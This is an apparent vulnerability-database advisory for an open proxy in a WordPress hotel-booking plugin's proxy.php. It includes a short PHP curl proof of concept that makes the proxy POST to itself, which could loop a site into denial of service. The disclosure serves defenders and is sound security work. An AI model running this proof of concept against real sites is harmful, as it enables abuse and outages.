Google Adsense & Hotel Booking <= 1.05 - Open Proxy

Sign up to our free email alerts service for instant vulnerability notifications!

Description
The code in ./plugin/google-adsense-and-hotel-booking/proxy.php allows an arbitrary user to proxy POST requests though the host site.

This may allow attackers to hide attacks, or DoS a site if the POST request is pointed back at itself causing a loop.
Proof of Concept
<?php
        $target_url = 'http://www.example.com/wp-content/plugins/google-adsense-and-hotel-booking/proxy.php';
        echo "POST to $target_url";
        $post = array('url' => $target_url,'url'=>$target_url);
 
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL,$target_url);
        curl_setopt($ch, CURLOPT_POST,1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        $result=curl_exec ($ch);
        curl_close ($ch);
        echo "#####################################";
        echo $result;
        echo "#####################################";
?>

Affects

Plugin google-adsense-and-hotel-booking

References

URL http://www.vapid.dhs.org/advisory.php?v=151

Classification

Type REDIRECT
OWASP Top 10 A10: Unvalidated Redirects and Forwards
CWE CWE-601

Miscellaneous

Submitter Larry W. Cashdollar
Submitter Website http://www.vapid.dhs.org
Submitter Twitter _larry0
Views 105
Verified No
WPVDB ID 8156

Timeline

Publicly Published 2015-08-15 (over 1 year ago)
Added 2015-08-24 (over 1 year ago)
Last Updated 2015-08-24 (over 1 year ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.